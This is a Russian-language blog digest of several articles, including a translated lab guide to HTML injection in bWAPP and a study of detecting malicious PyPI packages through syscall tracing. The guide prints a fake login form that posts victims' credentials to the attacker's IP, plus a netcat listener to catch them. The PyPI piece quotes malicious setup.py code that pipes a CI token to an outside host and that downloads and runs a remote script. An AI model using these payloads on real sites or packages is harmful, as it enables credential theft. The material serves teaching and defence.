Каждый из стандартов действителен с 1 июня 2019 года в соответствии с приказом Федерального агентства по техническому регулированию и метрологии. Актуальные ГОСТы наследуют разработки, прописанные в предыдущих версиях.

Реализации алгоритмов ГОСТов

@ru_crypt в своей статье собрал множество вариантов реализации ГОСТовских алгоритмов на любой вкус.

Интерес к таблице подстановок

Рассмотрим ГОСТ 34.10-2018. В алгоритмах формирования и проверки цифровой подписи на начальных шагах используется хеш-функция Стрибог, которая определена в ГОСТ 34.11-2018.

Заглянем теперь в ГОСТ 34.12-2018. В данном документе в качестве параметра алгоритма Кузнечик для нелинейного биективного преобразования приводится таблица подстановок

\pi. Эта же таблица приведена в ГОСТ 34.11-2018, то есть используется и при хешировании.

Таблица \pi задает единственное нелинейное преобразование в алгоритме шифрования, которое значительно усложняет взлом шифра. То есть функция подстановки особенно важна для устойчивости шифра к взломам.

Разработчики Кузнечика и Стрибога утверждают, что сгенерировали таблицу \pi случайным образом. Однако в ряде работ был проведен криптоанализ таблицы подстановок и выявлено несколько способов ее генерации, причем не случайным образом.

Статьи с алгоритмами генерации таблицы \pi :

Reverse-Engineering the S-Box of Streebog, Kuznyechik and STRIBOBr1 Alex Biryukov, L eo Perrin, and Aleksei Udovenko

Exponential S-Boxes: a Link Between the S-Boxes of BelT and Kuznyechik/Streebog Lo Perrin and Aleksei Udovenko

Partitions in the S-Box of Streebog and Kuznyechik Lo Perrin

В конце каждой из статей приведены алгоритмы генерации таблицы подстановок, которые можно запустить в оригинальном виде с помощью SageMath.

Заключение

В данной статье мы познакомились с основными криптоалгоритмами, которые приняты в качестве стандартов ГОСТ и получили базовое представление об их работе. А также, привели примеры работ по криптоанализу Кузнечика и Стрибога.

Подробнее..

Перевод Подробное руководство по HTML инъекциям

02.12.2020 10:08:40 | Автор: admin


HTML считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.


Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.


Содержание:


  • Что такое HTML?
  • Что такое HTML-инъекция?
  • Угрозы HTML-инъекции
  • HTML-инъекция и XSS
  • Типы инъекций
    • Сохраненный HTML
    • Отраженный HTML
      • GET
      • POST
      • Текущий URL
  • Защита от HTML-инъекции

Что такое HTML?


HTML (HyperText Markup Langauge) это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из гипертекста, чтобы включить текст внутри текста в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.


Что такое элемент?


Элемент это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними.



HTML-тег


Тег HTML маркирует фрагменты содержимого, такие как:


  • заголовок
  • абзац
  • форма и т. д.

Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:


  • начальный тег (открывающий тег)
  • конечный тег (закрывающий тег)

Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.


Атрибуты HTML


Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами имя/значение, так что за именем атрибута следует знак равенства и значение атрибута.


<a href = "https://alexhost.com"> Надежный и быстрый хостинг для ваших сайтов</a>

Здесь:



Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.



Базовая HTML-страница


Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением .html, которые сохраняются и запускаются через веб-браузер.


Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:


<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=http://hackingarticles.in>HACKING ARTILCES </a></h2><br><p>Author Raj Chandel</p></center></body></html>

  • html корневой элемент каждой HTML-страницы
  • head метаинформацию о документе
  • title заголовок веб-страницы
  • body видимое содержимое страницы с атрибутом bgcolor как розовый.
  • br определяет строку разрыва или следующую строку.
  • h1 большой заголовок.
  • p абзац
  • a тег привязки, который помогает нам установить гиперссылку.

С основными моментами HTML разобрались, а для более подробного изучения можно почитать руководство.


Теперь давайте попробуем найти основные лазейки и узнать, как злоумышленники внедряют произвольные коды HTML в уязвимые веб-страницы.


Что такое HTML-инъекция?


HTML-инъекция является одной из самых простых уязвимостей, благодаря чему получила широкое распространение.


Возникает, когда веб-страница не может:


  • Дезинфицировать вводимые пользователем данные
  • Проверить вывод

Благодаря html-инъекции злоумышленник может внедрять вредоносный HTML-код в приложение через уязвимые поля, чтобы он мог изменять содержимое веб-страницы и даже собирать некоторые конфиденциальные данные.


Давайте рассмотрим, как выполняются такие атаки с использованием HTML-инъекции.


Рассмотрим веб-приложение, которое страдает от уязвимости HTML-инъекции и не проверяет какой-либо конкретный ввод. Обнаружив данную уязвимость, злоумышленник вводит свою вредоносную HTML-форму входа с приманкой, например, Бесплатные билеты в кино, чтобы обманом заставить жертву предоставить свои конфиденциальные учетные данные.


Теперь на пораженной странице пользователи будут видеть приманку Бесплатные билеты в кино, при клике по которой откроется фиктивная форма входа, созданная злоумышленником.



Угрозы HTML-инъекции


Когда поля ввода не дезинфицированы должным образом на веб-странице, тогда это может привести к атакам:


  • с использованием межсайтовых скриптов (XSS)
  • подделки запросов на стороне сервера (SSRF)

HTML-инъекция и XSS


На первый взгляд HTML-инъекция во многом похожа на межсайтовый скриптинг. Однако во время XSS-атаки можно внедрять и выполнять Javascript коды, а при HTML-инъекции приходится обходится только определенными HTML тегами.


Теперь давайте углубимся в различные атаки с использованием HTML-инъекции и рассмотрим необычные способы, с помощью которых мы можем испортить веб-страницы и получить учетные данные жертвы.


Сохраненный HTML


Сохраненный HTML внедренный вредоносный скрипт постоянно сохраняется на сервере веб-приложений, который затем передает его обратно пользователю, когда он посещает внедренную веб-страницу. Однако, когда клиент нажимает на полезную нагрузку, которая отображается как официальная часть веб-сайта, внедренный HTML-код запускается браузером. Наиболее распространенный пример сохраненного HTML это опция комментариев в блогах, которая позволяет любому пользователю вводить свой отзыв в форме комментариев для администратора или других пользователей. Давайте теперь попробуем использовать эту сохраненную уязвимость HTML и получить некоторые учетные данные.


Использование сохраненного HTML


Для манипуляция с HTML-инъекциями нам понадобиться приложение bWAPP, которое идет в комплекте с Kali Linux и другими ОС для белого хакинга.


Я открыл целевой IP-адрес в своем браузере и вошел в bWAPP как bee: bug, далее я установил для параметра Choose Your Bug значение HTML Injection Stored (Blog) и активировал кнопку взлома.


Теперь мы будем перенаправлены на веб-страницу, которая страдает от уязвимости HTML-инъекции, позволяющая пользователю отправить свою запись в блог, как показано на снимке экрана.


Для начала мы создадим обычную запись пользователя, чтобы подтвердить, что введенные данные успешно сохранены в базе данных веб-сервера, которая, таким образом, отображается в Поле ввода.



Теперь давайте попробуем внедрить нашу вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на эту целевую веб-страницу и перенаправит захваченный запрос на наш IP-адрес. Введите следующий HTML-код в заданное текстовое поле, чтобы настроить HTML-атаку.


<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid credenitals:<br><form name="login" action="http://personeltest.ru/away/192.168.0.7:4444/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form>


На изображении ниже видно, что при нажатии кнопки Submit появляется новая форма входа, которая теперь находится на веб-сервере приложения и будет отображаться всякий раз при посещении пользователями данной страницы.



Давайте теперь запустим прослушиватель netcat через порт 4444, чтобы перехватывать запросы жертв.


nc lvp 4444

Теперь нужно подождать, пока жертва не загрузит данную страницу в своем браузере и не введет свои учетные данные.



На изображении выше видим, что пользователь Raj открыл веб-страницу и попытался войти в учетную запись с помощью пароля 123. Теперь вернемся к нашему прослушивателю и проверем перехваченные им данные.



На изображении видно, что мы успешно получили учетные данные.


Отраженный HTML


Отраженный HTML возникает, когда веб-приложение немедленно отвечает на введенные пользователем данные, не проверяя их. Это может привести к тому, что злоумышленник внедрит исполняемый код браузера в один ответ HTML.


Вредоносный скрипт не сохраняется на веб-сервере, поэтому злоумышленнику необходимо отправить вредоносную ссылку через фишинг, чтобы поймать пользователя.


Отраженную уязвимость HTML можно легко обнаружить в поисковых системах веб-сайта, так как злоумышленник использует текстовое поле поиска для ввода произвольного HTML-кода. Если веб-сайт уязвим, тогда страница результатов будет возвращена в ответ на эти HTML-объекты.


Отраженный HTML бывает трех типов:


  • Отраженный HTML GET. Запрашивает данные из определенного источника.
  • Отраженный HTML POST. Оправляет данные на сервер для создания/обновления ресурса.
  • Отраженный HTML Текущий URL.

Отраженный HTML GET


Мы создали веб-страницу, на которой пользователи могут оставлять отзывы со своим именем.
Когда пользователь Raj Chandel отправляет свой отзыв как Good, появляется сообщение Thanks to Raj Chandel for your valuable time.



Этот мгновенный ответ и пара имя/значение в URL-адресе показывают, что эта страница может быть уязвима для HTML-инъекции.


Давайте теперь попробуем ввести несколько HTML-кодов в эту форму и проверим уязвима страница или нет.


<h1>Raj Chandel</h1>

Установите "Отзыв" на "Good".


На изображении ниже видно, что имя пользователя Raj Chandel было изменено в качестве заголовка.



Почему это произошло? Давайте посмотрим на следующий фрагмент кода.



Разработчик не настроил никакой проверки ввода, поэтому сайт просто повторя сообщение с благодарностью, к которому добавлялось имя с помощью переменной $ _GET.


Бывают случаи, когда разработчик настраивает некоторые проверки в полях ввода, которые отображают HTML-код обратно на экран без его визуализации.


На изображении видно, что при попытке выполнить HTML-код в поле имени он отбрасывается обратно в виде обычного текста.



Значит ли это, что уязвимость здесь залатана?


Давайте проверим все это, перехватив его исходящий запрос с помощью burp suite, а затем отправим захваченный запрос прямо на вкладку Repeater.



На вкладке Repeater, при нажатии кнопки Go мы видим, что HTML объекты были здесь декодированы:



Копируем весь HTML-код:


<a href = http://hackingarticles.inhibited> <h2> Raj </h2> </a>

Вставляем его во вкладку Decoder, нажимаем Encode as и выбираем URL-адрес.
Когда мы получим закодированный вывод, то снова установим его в Encode as для URL, чтобы получить его как в формате двойного URL-кодирования.



Теперь скопируем полный URL с двойной кодировкой и вставим его в поле name = на вкладке Repeater в параметре Request. Нажмите кнопку GO, чтобы проверить сгенерированный ответ.


Отлично!!! На изображении видно, что ответ успешно обработан.



Теперь остается просто внести аналогичные изменения во вкладку Proxy и нажать кнопку Forward. На изображении видно, что мы испортили данную веб-страницу, используя ее проверенные поля.



Давайте посмотрим на фрагмент кода, чтобы увидеть, где разработчик выполнил проверку ввода.


На изображении ниже видно, что здесь разработчик сделал функцию hack для переменных данных. Он даже декодировал < и > для $data и $input, далее он использовал встроенную PHP-функцию urldecode over для $input для декодирования URL.



На изображении ниже видно, что разработчик реализовал функцию hack в поле имени.



Отраженный HTML POST


Как и в случае с веб-страницей GET, здесь также уязвимы поля Имя и Отзыв.
Поскольку реализован метод POST, то данные формы не будут отображаться в URL-адресе.
Опять попробуем изменить страницу, но в этот раз добавим изображение вместо статического текста.


<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На изображении ниже видно, что логотип Ignite technologies был размещен перед экраном, поэтому злоумышленник может даже внедрить другие медиа-форматы, такие как:


  • Видео
  • Аудио
  • Гифки


Отраженный HTML Текущий URL


Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице? Да, необязательно иметь поля ввода, такие как:


  • Поле комментариев
  • Поле поиска
  • Другие поля

Некоторые приложения отображают ваш URL-адрес на своих веб-страницах, который HTML-инъекция использует вместо поля ввода.



На изображении выше вы можете видеть, что текущий URL-адрес отображается на веб-странице как http://192.168.0.16/hack/html_URL.php. Воспользуемся этим преимуществом и посмотрим, что мы можем сграбить.


Настройте свой burp suite и захватите текущий HTTP-запрос.



Теперь обработаем этот запрос с помощью:


/hack/html_URL.php/<h1>Hey_are_you_there?</h1> 

Нажмите кнопку Forward, чтобы проверить результат в браузере.



Отлично!!! На изображении ниже видно, что мы успешно испортили веб-сайт, просто вставив желаемый HTML-код в URL-адрес веб-приложения.



Здесь разработчик использовал глобальную переменную PHP как $ _SERVER для захвата URL-адреса текущей страницы. Кроме того, он изменил имя хоста на HTTP_HOST и запрошенное местоположение ресурса на URL-адрес с REQUEST_URI и поместил все это в переменную $url.



Перейдя в раздел HTML, он просто установил echo с переменной $ url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.



Защита от HTML-инъекции


  • Установка HTML-скрипта, который будет фильтровать метасимволы из пользовательского ввода.
  • Реализация функции для проверки вводимых пользователем данных, чтобы они не содержали каких-либо конкретных тегов, которые могут привести к виртуальным искажениям.

image

Подробнее..

Как победить гроссмейстера, не умея играть в шахматы. Про злоупотребление доказательства с нулевым знанием

02.12.2020 12:23:30 | Автор: admin

Это Алиса. Она не умеет играть в шахматы, но изучает защиту информации. Поэтому она сможет обыграть гроссмейстера. Для этого ей понадобится:

  • Два гроссмейстера,

  • Две шахматные доски с фигурами,

  • Две комнаты.

И вот как она этого добьется.

Проблема гроссмейстера

Алиса приглашает Гарри Каспарова и Анатолия Карпова сыграть с ней в шахматы в одном месте, в одно время, но в разных комнатах. Ни Каспаров, ни Карпов, не знают о присутствии другого.

Алиса играет белыми в партии с Каспаровым и черными в партии с Карповым.

Сначала Карпов делает ход первым, так как он играет за белых. Алиса записывает ход, идёт в комнату к Каспарову и повторяет записанный ход. Далее записывает ответ Каспарова черными и повторяет этот ход в партии с Карповым.

Так продолжается до тех пор, пока она не выиграет одну из партий, проигрывая другую. Либо обе партии заканчиваются вничью.

На самом деле Каспаров и Карпов играют друг с другом, а Алиса является просто посредником, передающим ходы одного другому. Однако, если Карпов и Каспаров не знают о присутствии друг друга, они крайне удивятся мастерством Алисы.

Проблема гроссмейстера это злоупотребление доказательства с нулевым знанием. Посмотрим, что это такое.

Доказательство с нулевым знанием

Это криптографический протокол, позволяющий доказать проверяющему знание о чем-либо, при этом проверяющий не получает никакую информацию о самом знании.

Доказательство имеет форму интерактивного протокола. Допустим Алиса хочет доказать Бобу, что знает секрет, но не рассказать сам секрет. Боб задаёт Алисе ряд вопросов. Если Алиса знает секрет, то ответит на все вопросы правильно. Но ни один из вопросов и ответов не даст Бобу содержание секрета, но докажет знание Алисы. Доказательство с нулевым знанием используется для доказательства идентичности. Эта схема была впервые предложена Уриелем Файгом, Амосом Фиатом и Ади Шамиром. Однако, она не совершенна, есть различные злоупотребления. И проблема гроссмейстера это доказывает.

В примере с проблемой гроссмейстера Алиса не знала секрета, но она нашла Виктора, который знает секрет. И когда Боб задавал вопросы Алисе, она задавала их Виктору, и ответы Виктора передавала Бобу, выдавая их за свои.

Так, Алиса воспользовалась злоупотреблением доказательства с нулевым знанием.

В данном примере некоторая сторона может доказать владение секретом, не обладая им на самом деле или, другими словами, может имитировать то лицо, которому на самом деле принадлежит секрет. Есть и другие злоупотребления доказательства с нулевым разглашением. Рассмотрим их.

Обман, выполненный мафией

Алиса ужинает в ресторане Боба. Кэрол выбирает дорогие бриллианты в ювелирном магазине Дэйва. Боб и Кэрол мафия, Алиса и Дэйв ничего не подозревающие люди.

Алиса завершает ужин и идёт расплачиваться. Для этого ей нужно доказать свою личность Бобу. Боб подает сигнал Кэрол по тайному каналу связи, и та идёт на кассу с бриллиантами подороже и собирается доказать свою личность Дэйву. И пока Алиса доказывает свою личность Бобу, Боб передаёт сведения об Алисе Кэрол, и та передаёт их Дэйву. Дэйв запрашивает сведения Кэрол, Кэрол передаёт их Бобу, и Боб запрашивает сведения у Алисы. Когда Алиса отвечает, Боб передаёт правильный ответ Кэрол, а та Дэйву.

Получается, что Алиса просто доказывает свою личность Дэйву, тем самым покупая бриллианты. А личности Боба и Кэрол остаются незамеченными.

Обман, выполненный террористами

Теперь Алиса и Кэрол действуют сообща, пытаясь обмануть Дэйва. Кэрол известная террористка, Алиса помогает ей въехать в страну. Дэйв офицер-пограничник. Алиса и Кэрол общаются по тайному каналу связи.

Кэрол на машине подъезжает к границе, где её встречает Дэйв. Кэрол должна доказать свою личность. Дэйв запрашивает вопросы согласно доказательству нулевого знания. Кэрол передаёт запросы Алисе, та отвечает на них, Кэрол передаёт ответы Дэйву.

Получается, что Алиса подтверждает свою личность Дэйву, а Кэрол попадает в страну незамеченной и устраивает теракт.

Предлагаемые решения

Эти злоупотребления возможны благодаря тайному каналу связи. В случае проблемы гроссмейстера тайным каналом является переход Алисы из комнаты в комнату. Одним из способов предотвращения обмана является проведение процедуры доказательства личности в помещении, блокирующем связь своеобразной клетке Фарадея. Тогда террористка Кэрол не получит сообщения от Алисы, хозяин ресторана Боб не передаст сведения Кэрол, а Алисе, запертой в одной комнате, придётся сдаться гроссмейстеру, чтобы не краснеть от стыда.

Тотас Бот и Иво Десмедт предложили ещё одно решение проблемы ограничить время доказательства личности. У мошенников не останется времени для обмена информацией. В случае с шахматами, если время на обдумывание хода поставить не больше одной минуты, то Алиса не успеет перебежать из комнаты в комнату и повторить ход.

Заключение

В реальном мире для доказательства личности используются физические символы паспорт, водительские права, кредитные карты. Эти носители содержат что-то, связывающее их с конкретным человеком фотографию, подпись. Но в цифровом мире не покажешь паспорт или права каждому запрашивающему устройству, и тогда на помощь приходят закрытые ключи и подобные схемы. Берегите свои данные и как говорится в смс, никому не сообщайте этот код!

Материал подготовлен при использовании литературы:

Шнайер Б. Прикладная криптография, 2-е издание: протоколы, алгоритмы, исходные тексты на языке Си //Под редакцией ПВ Семьянова. М., Триумф. 2002. С. 14.

Подробнее..

Перевод Проверим тысячи пакетов PyPI на вредоносность

02.12.2020 12:23:30 | Автор: admin
Примерно год назад Python Software Foundation открыл Request for Information (RFI), чтобы обсудить, как можно обнаруживать загружаемые на PyPI вредоносные пакеты. Очевидно, что это реальная проблема, влияющая почти на любой менеджер пакетов: случаются захваты имён заброшенных разработчиками пакетов, эксплуатация опечаток в названиях популярных библиотек или похищение пакетов при помощи упаковки учётных данных.

Реальность такова, что менеджеры пакетов наподобие PyPI являются критически важной инфраструктурой, которой пользуется почти любая компания. Я мог бы многое написать по этой теме, но сейчас достаточно будет этого выпуска xkcd.



Эта область знаний мне интересна, поэтому я ответил своими мыслями о том, как мы можем подойти к решению проблемы. Весь пост стоит прочтения, но меня не оставляла в покое одна мысль: что происходит сразу же после установки пакета.

Такие действия, как установка сетевых соединений или исполнение команд во время процесса pip install всегда стоит воспринимать настороженно, поскольку они не дают разработчику почти никакой возможности изучить код до того, как случится что-то плохое.

Я хотел глубже исследовать этот вопрос, поэтому в посте расскажу о том, как установил и проанализировал каждый пакет PyPI в поисках вредоносной активности.

Как находить вредоносные библиотеки


Для выполнения произвольных команд во время установки авторы обычно добавляют код в файл setup.py своего пакета. Примеры можно увидеть в этом репозитории.

На высоком уровне для поиска потенциально вредоносных зависимостей мы можем выполнить два действия: просмотреть код на предмет наличия нехороших вещей (статический анализ) или рискнуть и просто установить их, чтобы посмотреть, что произойдёт (динамический анализ).

Хотя статический анализ очень интересен (благодаря grep я нашёл вредоносные пакеты даже в npm), в этом посте я рассмотрю динамический анализ. В конце концов, я считаю его более надёжным, ведь мы наблюдаем за тем, что происходит на самом деле, а не просто ищем неприятные вещи, которые могут произойти.

Так что же мы ищем?

Как выполняются важные действия


В общем случае, когда происходит что-то важное, то этот процесс выполняется ядром. Обычные программы (например, pip), желающие выполнять важные действия через ядро, используют syscalls. Открывание файлов, установка сетевых соединений, исполнение команд всё это выполняется через системные вызовы!

Подробнее об этом можно узнать из комикса Джулии Эванс:


Это означает, что если мы сможем наблюдать за syscalls во время установки пакета Python, то сможем понять, происходит ли что-то подозрительное. Преимущество такого подхода заключается в том, что он не зависит от степени обфускации кода мы видим именно то, что происходит на самом деле.

Важно отметить, что идею о наблюдении за syscalls придумал не я. Такие люди, как Адам Болдуин говорили об этом ещё с 2017 года. Кроме того, существует замечательная статья, опубликованная Технологическим институтом Джорджии, в которой, среди прочего, используется такой же подход. Честно говоря, в этом посте я просто буду пытаться воспроизвести их работу.

Итак, мы знаем, что хотим отслеживать syscalls, но как именно это делать?

Слежение за Syscalls при помощи Sysdig


Существует множество инструментов, предназначенных для наблюдения за syscalls. Для своего проекта я использовал sysdig, поскольку он обеспечивает и структурированный вывод, и удобные функции фильтрации.

Чтобы всё заработало, при запуске контейнера Docker, устанавливающего пакет, я также запускал процесс sysdig, отслеживающий события только из этого контейнера. Также я отфильтровал сетевые операции чтения/записи, идущие с/на pypi.org или files.pythonhosted.com, поскольку не хотел захламлять логи трафиком, относящимся к скачиванию пакетов.

Найдя способ перехватывания syscalls, я должен был решить ещё одну проблему: получить список всех пакетов PyPI.

Получаем пакеты Python


К счастью для нас, у PyPI есть API под названием Simple API, который также можно воспринимать как очень большую HTML-страницу со ссылкой на каждый пакет, потому что ею он и является. Это простая опрятная страница, написанная на очень качественном HTML.

Можно взять эту страницу и спарсить все ссылки при помощи pup, получив примерно 268 тысяч пакетов:

 curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt                wc -l pypi_full.txt   268038 pypi_full.txt

В этом эксперименте меня будет интересовать только самый последний релиз каждого пакета. Есть вероятность, что существуют вредоносные версии пакетов, погребённых в старых релизах, но счета за AWS сами себя не оплатят.

В результате я пришёл примерно к такому конвейеру обработки:


Если вкратце, мы отправляем имя каждого пакета набору инстансов EC2 (в будущем я бы хотел использовать что-то наподобие Fargate, но я не знаю Fargate, так что...), который получает метаданные о пакете из PyPI, а затем запускает sysdig, а также набор контейнеров для установки пакета через pip install, собирая при этом информацию о syscalls и сетевом трафике. Затем все данные передаются на S3, чтобы с ними разбирался я.

Вот как выглядит этот процесс:


Результаты


После завершения процесса у меня получился примерно терабайт данных, находящихся в S3 bucket и покрывающий примерно 245 тысяч пакетов. У некоторых пакетов не было опубликованных версий, у некоторых других имелись различные ошибки обработки, но в целом это выглядит как отличная выборка для работы.

Теперь интересная часть: куча grep анализ.

Я объединил метаданные и выходные данные, получив набор файлов JSON, которые выглядели примерно так:

{    "metadata": {},    "output": {        "dns": [],         // Any DNS requests made        "files": [],       // All file access operations        "connections": [], // TCP connections established        "commands": [],    // Any commands executed    }}

Затем я написал набор скриптов, чтобы начать собирать данные, пытаясь разобраться в том, что безобидно, а что вредоносно. Давайте изучим некоторые из результатов.

Сетевые запросы


Существует множество причин, по которым пакету может понадобиться создать сетевое подключение в процессе установки. Возможно, ему нужно скачать двоичные компоненты или другие ресурсы, это может быть некая аналитика или же он может пытаться извлечь данные или учётную информацию из системы.

В результате выяснилось, что 460 пакетов создают сетевые подключения к 109 уникальным хостам. Как и сказано в упомянутой выше статье, довольно многие из них вызваны тем, что пакеты имеют общую зависимость, создающую сетевое подключение. Можно отфильтровать их, сопоставив зависимости, но я этого ещё не делал.

Подробная разбивка DNS-запросов, наблюдаемых во время установки, находится здесь.

Исполнение команд


Как и в случае с сетевыми подключениями, у пакетов могут быть безвредные причины для выполнения системных команд при установке. Это может делаться для компилирования нативных двоичных файлов, настройки нужного окружения и так далее.

При изучении нашей выборки выяснилось, что во время установки исполняют команды 60 725 пакетов. И как и в случае с сетевыми подключениями, нужно помнить о том, что многие из них являются результатом зависимости от пакета, исполняющего команды.

Интересные пакеты


После изучения результатов большинство сетевых подключений и команд, как и ожидалось, выглядело безвредным. Но есть несколько случаев странного поведения, на которые я хотел указать, чтобы продемонстрировать полезность подобного вида анализа.

i-am-malicious


Пакет с именем i-am-malicious, похоже, является проверкой возможности концепции вредоносного пакета. Вот интересные подробности, дающие нам понимание того, что этот пакет стоит исследовать (если нам не было достаточно его названия):

{  "dns": [{          "name": "gist.githubusercontent.com",          "addresses": [            "199.232.64.133"          ]    }]  ],  "files": [    ...    {      "filename": "/tmp/malicious.py",      "flag": "O_RDONLY|O_CLOEXEC"    },    ...    {      "filename": "/tmp/malicious-was-here",      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"    },    ...  ],  "commands": [    "python /tmp/malicious.py"  ]}

Мы сразу же начинаем понимать, что здесь происходит. Видим подключение, выполняемое к gist.github.com, исполнение файла Python и создание файла с названием /tmp/malicious-was-here. Разумеется, это происходит именно в setup.py:

from urllib.request import urlopenhandler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")with open("/tmp/malicious.py", "wb") as fp:    fp.write(handler.read())import subprocesssubprocess.call(["python", "/tmp/malicious.py"])

Файл malicious.py просто добавляет в /tmp/malicious-was-here сообщение вида я здесь был, намекая, что это действительно proof-of-concept.

maliciouspackage


Ещё один самозваный вредоносный пакет, изобретательно названный maliciouspackage, чуть более зловреден. Вот его вывод:

{  "dns": [{      "name": "laforge.xyz",      "addresses": [        "34.82.112.63"      ]  }],  "files": [    {      "filename": "/app/.git/config",      "flag": "O_RDONLY"    },  ],  "commands": [    "sh -c apt install -y socat",    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",    "grep ci-token /app/.git/config",    "nc laforge.xyz 5566"  ]}

Как и в первом случае, это даёт нам достаточное представление о происходящем. В данном примере пакет извлекает токен из файла .git/config и загружает его на laforge.xyz. Взглянув на setup.py, мы видим, что конкретно происходит:

...import osos.system('apt install -y socat')os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl


Любопытен пакет easyIoCtl. Заявляется, что он предоставляет абстракции от скучных операций ввода-вывода, но мы видим, что исполняются следующие команды:

[  "sh -c touch /tmp/testing123",  "touch /tmp/testing123"]

Подозрительно, но не наносит вреда. Однако это идеальный пример, демонстрирующий мощь отслеживания syscalls. Вот соответствующий код в setup.py проекта:

class MyInstall():    def run(self):        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]        control_flow_guard_init = ""        for controL_flow_code in control_flow_guard_mappers:            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]        exec(control_flow_guard_init)

При таком уровне обфускации сложно понять, что происходит. Традиционный статический анализ мог бы отследить вызов exec, но на этом всё.

Чтобы увидеть, что происходит, мы можем заменить exec на print, получив следующее:

import os;os.system('touch /tmp/testing123')

Именно эту команду мы отследили, и это демонстрирует, что даже обфускация кода не влиять на результаты, потому что мы выполняем отслеживание на уровне системных вызовов.

Что происходит, когда мы находим вредоносный пакет?


Стоит вкратце рассказать о том, что мы можем сделать, когда найдём вредоносный пакет. Первым делом нужно уведомить волонтёров PyPI, чтобы они могли убрать пакет. Это можно сделать, написав на security@python.org.

После этого можно посмотреть, сколько раз был скачан этот пакет, с помощью публичного массива данных PyPI на BigQuery.

Вот пример запроса, позволяющий узнать, сколько раз maliciouspackage был загружен за последние 30 дней:

#standardSQLSELECT COUNT(*) AS num_downloadsFROM `the-psf.pypi.file_downloads`WHERE file.project = 'maliciouspackage'  -- Only query the last 30 days of history  AND DATE(timestamp)    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)    AND CURRENT_DATE()

Выполнение этого запроса показывает, что он был скачан более 400 раз:


Двигаемся дальше


Пока мы лишь взглянули на PyPI в целом. Изучая данные, я не смог найти пакетов, производящих значимо вредоносные действия и не имеющие при этом в названии слова malicious. И это хорошо! Но всегда есть вероятность, что я что-то упустил, или это может произойти в будущем. Если вам любопытно поизучать данные, то их можно найти здесь.

В дальнейшем я напишу лямбда-функцию для получения последних изменений в пакетах при помощи RSS-фида PyPI. Каждый обновлённый пакет будет подвергаться такой же обработке и отправлять уведомление в случае обнаружения подозрительной активности.

Мне по-прежнему не нравится, что можно выполнять произвольные команды в системе пользователя просто при установке пакета через pip install. Я понимаю, что большинство случаев использования безвредно, но это открывает возможности угроз, которые необходимо учитывать. Надеюсь, что усилив мониторинг различных менеджеров пакетов, мы сможем обнаруживать признаки вредоносной активности до того, как они окажут серьёзное воздействие.

И такая ситуация не уникальна только для PyPI. Позже я надеюсь провести такой же анализ для RubyGems, npm и других менеджеров, как упомянутые выше исследователи. Весь код, использованный для проведения эксперимента можно найти здесь. Как всегда, если у вас есть какие-нибудь вопросы, задавайте их!



На правах рекламы


VDSina предлагает виртуальные серверы на Linux и Windows выбирайте одну из предустановленных ОС, либо устанавливайте из своего образа.

Подробнее..

Настройки приватности Facebook VS OSINT

02.12.2020 16:10:54 | Автор: admin


Уже достаточно много статей я разбирал OSINT и поиск в соцсетях с помощью Maltego. Сегодня же давайте поговорим о настройках приватности в их аккаунтах.

Когда-то я уже выказывал свое негодование относительно ситуации с настройками приватности в Одноклассниках. К слову, с того времени ситуация немножко изменилась в лучшую сторону, однако за полный контроль над приватностью своего профиля с вас все еще требуют деньги



Ну да и ладно бы с Одноклассниками. Куда интереснее проверить как обстоят дела с настройками конфиденциальности в самой большой социальной сети в мире. В Facebook.

В меню нам доступны следующие категории:



В эти категории внесены основные настройки приватности. Другие же не так очевидны и могут быть скорректированы отдельно для каждого пункта: места работы, учебы, семейного положения

Например, вы указали несколько мест работы и можете каждому из них задать видимость для отдельной категории пользователей соцсети. Однако если в дело вмешивается еще один пользователь, то тут не все так просто.

Допустим, Олег и Алена женаты, но Олег запретил Facebook показывать этот факт (нехороший такой Олег). При этом, Алена в настройках приватности данный пункт не скрывала, значит через ее профиль мы можем узнать, что Алена и Олег женаты.

